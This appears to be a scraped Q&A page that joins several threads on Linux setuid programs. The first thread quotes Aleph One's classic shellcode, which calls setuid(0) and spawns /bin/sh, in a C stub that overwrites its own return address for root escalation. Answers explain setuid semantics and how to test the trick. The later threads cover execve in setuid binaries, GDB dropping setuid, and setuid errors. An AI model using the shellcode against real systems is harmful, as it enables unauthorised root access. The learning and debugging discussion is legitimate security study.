I have this code .... Ethical Hacking - c

I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
I give this the super user privileges, with
chmod u+s shellcode
as a super user, then go back to normal user with
su - normal_user
but when I run ./shellcode I should be a root user but instead I still be normal_user
so any help??
btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

If this is an old exploit... Shouldn't it have been already fixed long ago?
By the way, as a personal advice: don't be so lame to use that nickname and then go around asking about exploits.

Is the shellcode executable owned by root? The setuid bit (u+s) makes the executable run with the privileges of its owner, which is not necessarily root.

Well, setuid() changes the user for the currently running program. Your Shell will still be running under your normal user! :)
Either that, or I don't get this hack's purpose.

I think setuid only sets the uid to 0 while the program is running. Can you perform some operation to check the UID while the shellcode is running?

If I get it right, the code you are executing (setuid(0)) is a System Call that changes the current user to the root. The catch is that it's changing the current user id over that process, giving that process root authority. If it is working you could run anything with root privileges.
To test it, create a file or directory with the root, make sure you can't remove it as a simple user, and then try adding code to your executable that removes the file. If the code is working, the file should be deleted.
Then, to gain root powers, try to fork to a new shell from within your program. I'm not sure if it's possible, though.
...however, this is an old exploit. Old kernels might be open to this, but using any recent release will do nothing at all.
UPDATE: I've just re-read the code and realized the call to the shell is there (/bin/sh), so you are already forking to a supposed super-user shell. To check if it's actually working, see the PID of your shell before and after the call. If it has changed, exit the shell, you should return to the previous PID. That means (1) it worked, you manipulated the stack and executed that code there, and (2) the exploit is fixed and the Kernel is preventing you from gaining access.

Related

Is there a system call to run systemctl in C program (not the system() function)?

I am on a Ubuntu 22.04 server. I want to run:
systemctl restart someService
but want to do so in a C program.
Intuitively I tried:
system("systemctl restart someService")
This did not work even if my program itself has setUid set to root as systemctl does not itself have setUid bit set to root.
I would like to write a program and set its uid to root so that anyone can execute it to restart a certain system service. This is only possible by using some direct function and not the system call as done above. Any suggestions?
I don't think there is a system-call that can do the job of systemctl in general. I think your approach of calling the systemctl command from your program is correct. But, I am not getting into the security considerations here. You should be really careful when writing set-uid programs.
Now, the main issue with your code is that system should not be used from set-uid binaries because it doesn't let you control the environment variables, which can be set maliciously before calling your program to change the behavior of the called process. Besides that, the system command calls /bin/sh to run your command which on some versions of Linux drop privilege as mentioned on the man-page linked above. The right approach would be to use execve family of functions that offer more control and do not spawn a shell. What you need to do can be done in the following way -
int main(int argc, char* argv[]) {
setuid(0);
setgid(0);
char *newargv[] = {"/usr/bin/systemctl", "restart", "someService", NULL};
char *newenviron[] = { NULL };
execve(newargv[0], newargv, newenviron);
perror("execve"); /* execve() returns only on error */
exit(EXIT_FAILURE);
}
Notice the empty (or pure) environment above. It is worth noting that the execve should not return unless there is an error. If you need to wait for the return value from the systemctl command, you might have to combine this with fork

Does GDB have a userid?

I am trying to debug a C program using GDB. But when I try to run it from inside gdb I get the following error :
note: the FATAL error line is user defined
gdb-peda$ run
Starting program: /home/masterdungeon/HTAOEBookPrograms/0x200/0x280/0x287/GameOfChance
**************** WELCOME to the GAME OF CHANCE *****************
This game will essentially tell you how lucky you are today ;)
---- New player ----
Please enter your name : user_gdb
[!!!] Fatal Error in register_user() while opening DATAFILE
: Permission denied
[Inferior 1 (process 10636) exited with code 0377]
Warning: not running
gdb-peda$
This program is actually a command line game named "GameOfChance" (from the book HTAOE). Whenever a user runs the program, the program first checks its UserID to see whether the user is already registered as a player in the DATAFILE. If there is no entry of that UID in the DATAFILE(i.e player not registered already), then the program allows to create a new player and accept a username, thus registering as a player with that UID and accepted username. But I think GDB does not have a UID since there is no entry of gdb in /etc/passwd. How do I make the program run while debugging and register GDB as a new player? Is it even possible ?
The code looks like this :
12 #define DATAFILE "/var/gameofchance.data" // File to store user data
46 int main(){
//lines of code
53 uid = getuid(); // get current user_id i.e player_id
54 player_exists = get_player_data(uid); // returns -1 if player does not exist
55 //otherwise returns 0 and puts all player data into struct player
56
57 if(player_exists == -1) {
58 register_player(uid);
59 }
//lines of code
148 return 0;
149 } //end main()
314 void register_player(int uid){
//lines of code
327 fd = open(DATAFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
329
330 if(fd==-1){
331 fatal(" in register_user() while opening DATAFILE\n");
332 }
//lines of code
344 } //end register_player
the permissions for DATAFILE are :
-rw------- 1 root masterdungeon 240 Apr 19 13:54 gameofchance.data
the permissions for executable game GameOfChance are :
-rwsrwxr-x 1 root root 29064 Jan 4 19:45 GameOfChance
Another thing I couldn't understand is when I set a breakpoint at line 54 and check for value of uid I get 1000 as UID of GDB.
Breakpoint 16, main () at gameofchance.c:54
54 player_exists = get_player_data(uid); // returns -1 if player does not exist
gdb-peda$ x/wd &uid
0x7ffd4ed4aee8: 1000
How's it possible that GDB has userid of 1000 ? as there is no entry of gdb in /etc/passwd. 1000 is userid of masterdungeon.
Okay so it works when gdb is run using sudo gdb. But why do I have to run it as root to get it run nicely in GDB ?
Otherwise in BASH the program runs successfully as user masterdungeon. Only in GDB it require to be run as root
Does GDB have a userid?
Yes. Every process that runs, including GDB processes, has both an effective UID and a real UID. Often these are the same. But you seem to have a misunderstanding. These do not describe the process itself. Rather they describe the user on whose behalf the process is running.
How's it possible that GDB has userid of 1000 ? as there is no entry of gdb in /etc/passwd. 1000 is userid of masterdungeon.
Because you're running gdb as user "masterdungeon", or as another user with the same UID number.
Okay so it works when gdb is run using sudo gdb. But why do I have to run it as root to get it run nicely in GDB ?
Your data file is accessible only to root:
-rw------- 1 root masterdungeon 240 Apr 19 13:54 gameofchance.data
. When run directly, the program accommodates that by being root-owned and having its SUID bit set:
-rwsrwxr-x 1 root root 29064 Jan 4 19:45 GameOfChance
(note the "s" in the first triad of permission bits). That causes the program, when run directly, to run with the effective UID of root, even though root did not actually launch it. This is one of the cases where the effective and real UIDs differ. It is also a very poor use case for SUID, because SUID root programs present an existential security risk to the host system, and that risk is not justified for a game.
The risk would be much worse if the SUID bit were honored when the program is running under control of a debugger. A debugger can make arbitrary changes to program data and even binary code while the program is running, and that would present an easy vector for privilege escalation if SUID were honored in such contexts. Accordingly, the SUID bit on an executable has no effect when the program is run in a debugger. (See also Can gdb debug suid root programs?)
Thus, if you debug the program as a user other than root, it will not be able to open the data file, but if you use sudo to run the debugger then you obtain the needed privelege to access the data file through sudo, and the fact that the SUID bit on the executable is not honored is irrelevant.
The best way to debug the program is in its build environment, before installation, such that it is owned by you and does not need (or have) its SUID bit set. This may require some manipulation of where or how it looks for its data file, which should also be owned by you.
As for how the program is installed, you have a tension between priorities:
Programs available for all users to run should be owned by root and writable only by root, to make it difficult for other users to modify them or substitute different program for them, both of which could lead to data breach and (further) privilege escalation.
You apparently require that users running the game program be able to write to a shared data file. It's unclear what this file contains, but a shared high score list might be an example.
But you do not (presumably) want to allow users to manipulate the data file arbitrarily, under their own authority, lest they cheat in some way, or worse.
The easiest approach would be to give each user their own, unshared data file, created at need by the program within the user's home directory, and accessible to that user. Then you don't need to mess with SUID / SGID, nor do you need to have any concern about users interfering with each other. Sure, they may be able to cheat, but it will affect only them. And you will be able to debug the program with GDB.
If it is essential that the data file be both shared among program users and writable (via the program) to all of them, then a better approach than making the program SUID-root would be to make it SGID-some_group_not_root, and make the data file writable by that group. Better still, avoid the SGID bit, and just require users to be members of the chosen group in order to use the program. Do note that SGID is not honored when debugging, either.

Why is my setuid function not working?

I've the following simple code to check my getuid function:
uidActual=getuid();
printf ("User id is [%d]\n", uidActual);
error=setuid(197623);
printf("[%d]",error);
uidActual=getuid();
printf ("\n User id is [%d]\n", uidActual);
But it always returns a -1 as error, so the uid doesn't change.
The 197623 in setuid seems right as I've, apart from other things, the following in my mkpasswd command:
user1: 197609:197609[...]
user2: 197623:197121[...]
Where 197609 and 197623 must be the id for the user as in fact I start the application with user 1 and I obtain its id properly displaying at the beginning and the end: "User id is 197609".
I've set all permissions for everyone on the created executable and I've even run the executable as a root in cygwin with cygstart --action=runas ./a.exe and it still doesn't work.
Funny thing is that the setgid (for changing group) function works perfectly with setgid(197121), even without special permissions or running. So I'm out of ideas of why this function always returns an error.
Any idea on what is wrong on my code that could be causing the problem?
Thanks for your attention.
the posted code must be run by a user with appropriate privileges. Perhaps by:
sudo ./a.exe
here is an excerpt from the (linux) man page for setuid()
"EPERM The user is not privileged (Linux: does not have the CAP_SETUID capability) and uid does not match the real UID or saved set-user-ID of the calling process."

C program using reboot with u+s permissions

... I'm new to C programming on Ubuntu, so please bear with me if i'm being too much of a noob.
I have a C file that when compiled, is allocated to a particular user (testUser) and is run as they log in as their shell. The user doesn't have sudo rights to the system in question. Basically this shell permits the user to update a file (/var/wwww/testfile) upon login and then reboots the system. Of course, it's the reboot which is giving me some issues, as they don't have superuser rights.
//file: testShell.c
#include <unistd.h>
//#include <linux/reboot.h>
int main(void)
{
execl("/usr/bin/nano", "nano", "/var/www/testfile", NULL);
execl("/usr/bin/shutdown", "shutdown", "-h 0", NULL);
//reboot(LINUX_REBOOT_CMD_RESTART);
return 0;
}
The file compiles just fine to testShell
I chown root:root testShell
Grant SetUID using chmod u+s testShell
Copy the file cp testShell /bin
Update the users account to use the shell chsh -s /bin/testShell testUser
I've read the man pages on shutdown and tried within the program itself using reboot (you can see in this particular version of the file, I've commented out the header file and call) but I still can't get this user to be able to reboot the system (Ubuntu 12.04 presently). I've even tried the "init 6" system call that was posted here, but all to no avail. I've also read that using the system() call isn't a particularly good idea: I've tried it none-the-less and still no joy.
It was my understanding that if I allocate the permissions correctly and then SetUID the file, anyone running that file would implicitly be running it under the owners rights, root in this case. In fact, the /var/www/testfile that the testUser is updating, is owned by root, so something's working correctly.
Any ideas where I'm going wrong?
It is really simple : you use directly execl to start nano and ... never return from it if it correctly works !
You should use a fork - exec- wait.
You will find a complete example on this other post from SO https://stackoverflow.com/a/19099707/3545273

C - Program fails to get file descriptor only when running with GDB

I'm not an expert C programmer. I'm having trouble debugging a program using GDB. (The bug I am trying to fix is unrelated to the problem I am asking about here.) My problem is that the program runs fine when I run the binary directly from a shell, but the program crashes when I run it using GDB.
Here is some information about the program which may be useful: it is a 20+ year old piece of database software, originally written for Solaris (I think) but since ported to Linux, which is setuid (but not to root, thank god).
The program crashes in GDB when trying to open a file for writing. Using GDB, I was able to determine that crash occurs because the following system call fails:
fd = open(path, O_WRONLY|O_CREAT|O_TRUNC, 0644);
For clarification: path is the path to a lockfile which should not exist. If the lock file exists, then the program shuts down cleanly before it even reaches this system call.
I do not understand why this system call would fail, since 1) The user this program runs as has rwx permissions on the directory containing path (I have verified this by examining the value of the variable stored in path), and 2) the program successfully opens the file for writing when I am not using GDB to debug it.
Are there any reasons why I cannot
The key turns out to be this bit:
... is setuid (but not to root, thank god).
When you run a program under (any) debugger (using any of the stop-and-inspect/modify program facilities), the kernel disables setuid-ness, even for non-root setuid.
If you think about this a bit it makes sense. Consider a game that keeps a "high scores" file, and uses "setuid games" to do this, with:
fd = open(GAME_SCORE_FILE, open_mode, file_mode);
score_data = read_scores(fd);
/* set breakpoint here or so */
if (check_for_new_high_score(current_score, score_data)) {
printf("congratulations, you've entered the High Scores records!\n");
save_scores(fd, score_data);
}
close(fd);
Access to the "high scores" file is protected by file permissions: only the "games" user can write to it.
If you run the game under a debugger, though, you can set a breakpoint at the marked line, and set the current_score data to some super-high value and then resume the program.
To avoid allowing debuggers to corrupt the internal data of setuid programs, the kernel simply disables setuid-ness when running code with debug facilities enabled. If you can su (or sudo or whatever) to the user, indicating that you have permission regardless of any debugging, you can then run gdb itself as that user, so that the program runs as the user it "would have" setuid-ed to.

Resources